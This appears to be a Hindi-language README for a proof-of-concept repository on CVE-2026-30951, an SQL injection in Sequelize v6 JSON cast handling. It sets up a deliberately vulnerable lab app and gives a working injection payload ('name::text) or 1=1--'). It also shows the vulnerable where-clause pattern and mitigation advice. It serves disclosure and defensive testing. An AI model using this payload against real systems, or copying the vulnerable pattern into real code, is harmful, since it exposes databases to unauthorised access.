
Sequelize JSON Cast SQL इंजेक्शन
★ CVE-2026-30951 Sequelize ORM SQL Injection PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
CVE-2026-30951 एक व्यापक रूप से उपयोग किए जाने वाले Node.js ORM, Sequelize v6 में एक SQL Injection कमजोरी है।
यह कमजोरी JSON/JSONB
whereक्लॉज़ प्रोसेसिंग में मौजूद है। जब Sequelize::युक्त JSON पाथ की को पार्स करता है, तो::के बाद का मान एक SQL cast प्रकार के रूप में माना जाता है और उचित सत्यापन के बिना जनरेट किए गए SQL में डाल दिया जाता है।यदि कोई हमलावर Sequelize
whereक्लॉज़ में पास किए गए JSON ऑब्जेक्ट कीज़ को नियंत्रित कर सकता है, तो वह जनरेट किए गए SQL क्वेरी में हेरफेर कर सकता है।
| श्रेणी | संस्करण |
|---|
| असुरक्षित | Sequelize v6.x <= 6.37.7 |
| पैच किया गया | Sequelize 6.37.8 |
| प्रभावित नहीं | Sequelize v7 / @sequelize/core |
इस रिपॉज़िटरी में एक न्यूनतम असुरक्षित Node.js, Express, Sequelize, और SQLite चैलेंज ऐप शामिल है।
npm install
npm start
ऐप यहाँ शुरू होता है:
http://127.0.0.1:9100
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
Docker कंटेनर यहाँ शुरू होता है:
http://127.0.0.1:9100
असुरक्षित वातावरण शुरू करने के बाद, इंजेक्शन को पुनरुत्पादित करने के लिए नीचे दिए गए चरणों का पालन करें।
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
यह केवल उन उपयोगकर्ताओं को लौटाता है जो सामान्य नाम सर्च लॉजिक से मेल खाते हैं।
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
अपेक्षित परिणाम:
All user rows are returned.
तैयार की गई JSON की Sequelize को इस प्रकार का cast एक्सप्रेशन जनरेट करने के लिए प्रेरित करती है:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
चूँकि cast प्रकार हमलावर-नियंत्रित है, OR 1=1 शर्त इच्छित WHERE क्लॉज़ व्यवहार को बदल देती है। उसी सर्च एंडपॉइंट से सभी पंक्तियाँ लौटाना पुष्टि करता है कि SQL इंजेक्शन संभव है।
यह कमजोरी Sequelize v6 में JSON cast प्रकारों के अपर्याप्त सत्यापन के कारण होती है।
आंतरिक रूप से, Sequelize का JSON ट्रैवर्सल लॉजिक JSON पाथ कीज़ को :: पर विभाजित करता है:
jsonKey::castType
फिर cast प्रकार का उपयोग जनरेट किए गए SQL में इस प्रकार किया जाता है:
CAST(<json_extract_expression> AS <cast_type>)
असुरक्षित संस्करणों में, <cast_type> को सुरक्षित रूप से एस्केप नहीं किया जाता या ज्ञात-सुरक्षित allowlist तक सीमित नहीं किया जाता। यह हमलावर-नियंत्रित JSON की को cast एक्सप्रेशन से बाहर निकलने और SQL इंजेक्ट करने की अनुमति देता है।
प्रभावित Sequelize संस्करणों का उपयोग करते समय निम्नलिखित के समान कोई भी एप्लिकेशन पैटर्न असुरक्षित हो सकता है:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
यह खतरनाक है क्योंकि हमलावर न केवल JSON मानों को, बल्कि JSON ऑब्जेक्ट कीज़ को भी नियंत्रित करता है।
यह कमजोरी विशेष रूप से खतरनाक है क्योंकि कई डेवलपर्स मानते हैं कि ORM क्वेरी बिल्डर स्वचालित रूप से SQL इंजेक्शन से सुरक्षा करते हैं। इस मामले में, इंजेक्शन ORM-जनरेटेड SQL के भीतर होता है, जब एप्लिकेशन पहले ही संरचित JavaScript ऑब्जेक्ट्स को Sequelize को पास कर चुका होता है।
एप्लिकेशन लॉजिक के आधार पर, शोषण निम्नलिखित की अनुमति दे सकता है:
यह मूल रूप से CWE-89: Improper Neutralization of Special Elements used in an SQL Command समस्या है।
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Sends crafted JSON filter
| with malicious name:: key
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where clause
| processes key containing ::
v
+-------------------------------------------+
| Unescaped SQL cast type injection |
+-------------------------------------------+
|
| Boolean condition manipulation
v
+-------------------------------------------+
| SQL Injection Confirmed |
+-------------------------------------------+
where क्लॉज़ में पास न करें:: जैसे cast विभाजकों वाली JSON कीज़ को अस्वीकार करें, जब तक कि स्पष्ट रूप से आवश्यक न होconst allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
यह रिपॉज़िटरी केवल नियंत्रित वातावरणों में सुरक्षा अनुसंधान, रक्षात्मक सत्यापन, और शैक्षिक उपयोग के लिए है।
इस PoC का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने की आपके पास स्पष्ट अनुमति नहीं है।
हम महीने में एक बार CVE और मैलवेयर विश्लेषण प्रकाशित करते हैं। यदि आप रुचि रखते हैं, तो कृपया हमारे प्रकाशनों को देखने के लिए नीचे दिए गए लिंक का पालन करें।